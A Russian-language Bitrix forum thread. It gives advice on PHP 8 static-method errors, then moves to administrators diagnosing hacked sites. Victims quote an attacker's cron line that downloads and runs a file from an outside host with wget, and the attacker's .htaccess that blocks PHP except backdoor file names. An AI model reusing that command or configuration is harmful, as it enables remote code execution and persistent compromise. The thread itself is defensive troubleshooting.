Форум

[QUOTE] написал:
Спасибо, можно хотя бы легкий пример плюс минус, я дальше соображу.[/QUOTE]
вот здесь еще посмотрите [URL=https://www.brekot.ru/blog/1s-bitriks-i-php-8-non-static-method-cannot-be-called-statically/?ysclid=m6ydmpw8gf407598642]https://www.brekot.ru/blog/1s-bitriks-i-php-8-non-static-method-cannot-be-called-statically/?ysclid=...[/URL]
т.е. либо для методов
[QUOTE]publc function methodName[/QUOTE]

заменяете на


[QUOTE]publc static function methodName[/QUOTE]

либо пытаетесь вызвать их не статически вместо
[QUOTE]CUser::GetID();[/QUOTE]

пишем

[QUOTE]global $USER;

$USER->GetID(); [/QUOTE]

[QUOTE] написал:
После обновления ошибкаNon-static method CAllUser::GetID() cannot be called statically (0)[/QUOTE]
метод GetID в классе CAllUser не объявлен как static. Раньше прокатывало, теперь надо все статические методы объявлять правильно.

[QUOTE] написал:
Добрый день! При переходе на php 8.0 и далее появляются ошибки в шаблоне Аспро Оптимус:Non-static method COptimus::SetJSOptions() cannot be called statically (0)Ошибку вызывает вот такой код:  Насколько я понимаю это подключение скриптов и логотипа. Рекомендация добавить static function МетодКласса() не работает.Покупать обновления за 40 тысяч клиент не хочет.Как это исправить?  [/QUOTE]
А как он прописан? static при объявлении функции есть, скорее всего нет?

[QUOTE] написал:
На cron (crontab -u bitrix -e) эти клоуны вешают выполнение команд:

*/15 * * * * wget -q -O xxxd  [URL=http://hello.hellodolly777.xyz/xxxd]http://hello.hellodolly777.xyz/xxxd[/URL] && chmod 0755 xxxd && /bin/sh xxxd /home/bitrix/[/QUOTE]
А вот интересно как на крон они это вешают. Файлы крона выше по структуре.

P.S. Сегодня взломали еще один сайт клиента.

Обновили битрикс. Но файл в bitrix/admin сегодня опять создался.

[QUOTE] написал:
когда .htaccess похерели на сайте клиента, я несколько тысяч инфицированных .htaccess поиском нашел пришлось с бэкапа восстановиться[/QUOTE]
да он почти в каждой папке появился.

[QUOTE] написал:
Есть ли у кого-то, кроме меня, проблема с тем, что в папку /bitrix/admin/ пишутся файлы из набора символов в названии[/QUOTE]
Да.

[QUOTE] написал:
и какой-то код в index.php в той же папке?[/QUOTE]
Этого не было


[QUOTE] написал:
Ощущение, будто по крону переписывается (хотя ни в кроне, ни в агентах нет ничего подозрительного), либо, когда на сайт заходишь. post запросов подозрительных тоже в логах нет.[/QUOTE]
Там не по крону. Прилетают два post запроса. В каждом переменная BX_TOKEN . Это закодированная строка. Посмотрите несколькими страницами ранее писали, что в несколько файлов в ядре добавили еще строки и они по ходу эти запросы дешифруют.

[QUOTE] написал:
Врят ли в настройках, там рутовый доступ нужен, сломали скорее всего через старое ядро Битрикса.
Обновления в Битриксе были установлены?

Покажи .htaccess с корня[/QUOTE]
Нет сайт не обновлен и пока не знаю, есть ли возможность его обновить. К тому же сейчас почти все страницы админки 403 отдают. vote модуль кстати на том сайте есть, но он не установлен. Не знаю опять же возможен ли взлом через не установленный модуль. И самое интересно, что непонятно почему обычный скрипт php из корня и не задействующий битрикс ни каким боком тоже на отдает 403. Поэтому и думал, что м.б. и в сервере поменяли чего-нибудь. Это кстати только день назад случилось. До этого просто бекдор создавался и часть товара спам добавился.

Появилась другая проблема. Теперь файлы php отдают все 403 ответ.


htaccess в корне был заменен вот на это.

[CODE]<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php|termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php|system_log.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
[/CODE]
Я вернул на старый htaccess. Но не помогло. Создал файл в корне test.php просто с текстом echo 'test' попытался открыть его по адресу site.ru/test.php тот же ответ 403. Такое впечатление, что где-то в сервере в настройках php еще что-то меняли. У меня сейчас к ним доступа нет. Еще создался опять бекдор inputs.php, только теперь в корне (до этого в bitrix/admin/ создавался).

[QUOTE] написал:
смотреть даты изменения - это только если взломщик не позаботился о том, чтобы их обратно изменить
врят ли на это стоит рассчитывать[/QUOTE]
Я через winscp смотрел.